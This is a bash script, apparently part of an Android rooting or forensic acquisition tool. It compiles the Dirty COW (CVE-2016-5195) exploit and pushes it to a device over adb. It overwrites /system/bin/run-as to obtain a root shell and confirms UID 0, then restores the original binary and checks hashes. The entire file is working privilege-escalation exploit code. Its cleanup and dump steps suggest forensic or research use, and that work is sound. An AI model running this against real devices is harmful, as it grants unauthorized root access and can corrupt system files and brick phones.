NDK_PATH="/home/imanol/devel/android-sdk/ndk-bundle"

function pre_cve_2016_5195()
{
  local ARCH=$(adb -s $1 shell getprop ro.product.cpu.abi | tr -d '\r')
  local SDK_VERSION=$(adb -s $1 shell getprop ro.build.version.sdk | tr -d '\r')
  pushd exploits/CVE-2016-5195 > /dev/null
  PATH=$PATH:$NDK_PATH
  ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=$ARCH APP_PLATFORM=android-$SDK_VERSION &> /dev/null
  adb -s $1 push libs/$ARCH/dirtycow /data/local/tmp/dcow &> /dev/null
  adb -s $1 push libs/$ARCH/run-as /data/local/tmp/run-as &> /dev/null
  popd > /dev/null
}

function cve_2016_5195()
{
  local rootcmd="adb -s $1 shell run-as | tail -n +3"
  adb -s $1 shell cp -a /system/bin/run-as /data/local/tmp/run-as_orig &> /dev/null
  adb -s $1 pull /system/bin/run-as dump/$1/run-as &> /dev/null
  adb -s $1 shell "/data/local/tmp/stat -c \"%u:%g %a\" /system/bin/run-as" &> dump/$1/run-as_stat
  md5sum dump/$1/run-as &> dump/$1/run-as.md5
  adb -s $1 shell /data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as &> /dev/null
  local USERID=$(echo '/data/local/tmp/id -u;exit' | eval "$rootcmd" 2> /dev/null | tr -d $'\r') 
  if [[ "$USERID" == "0" ]]; then
    #exploit successful
    echo "$rootcmd"
  else
    #exploit failed
    return 1
  fi
  return 0
}

function post_cve_2016_5195()
{
  local rootcmd="adb -s $1 shell run-as | tail -n +6"
  local overwrite=0
  adb -s $1 shell /data/local/tmp/dcow /data/local/tmp/run-as_orig /system/bin/run-as &> /dev/null

  # Check 1: If root is still possible
  local USERID=$(echo '/data/local/tmp/id -u;exit' | eval "$rootcmd" 2> /dev/null | tr -d $'\r') 
  if [[ "$USERID" == "0" ]]; then
    echo "ERROR: UID still 0!!"
    overwrite=1
  fi
  # Check 2: Hashes
  local ORIGHASH="$(echo $(adb -s $1 shell md5sum /data/local/tmp/run-as_orig) | cut -d' ' -f 1)"
  local CURRENTHASH="$(echo $(adb -s $1 shell md5sum /system/bin/run-as) | cut -d' ' -f 1)"
  if [[ "$ORIGHASH" != "$CURRENTHASH" ]]; then
    echo "ERROR: MD5 checksum mismatch!!"
    overwrite=1
  fi

  if [[ $overwrite == 1 ]]; then
    # A message you never want to see..."
    echo "CRITICAL: /system/bin/run-as has been POSSIBLY overwritten. In that case, manual recovery WILL be necessary. Do NOT reboot the phone under any circumstances if you don't know how to proceed and exercise caution. /data/local/tmp/dcow and /data/local/tmp/run-as_orig will be preserved, along the copy in the dump folder. May God help you."
  fi

  adb -s $1 shell rm /data/local/tmp/run-as &> /dev/null
  if [[ $overwrite == 0 ]]; then
    adb -s $1 shell rm /data/local/tmp/dcow &> /dev/null
    adb -s $1 shell rm /data/local/tmp/run-as_orig &> /dev/null
  fi
}
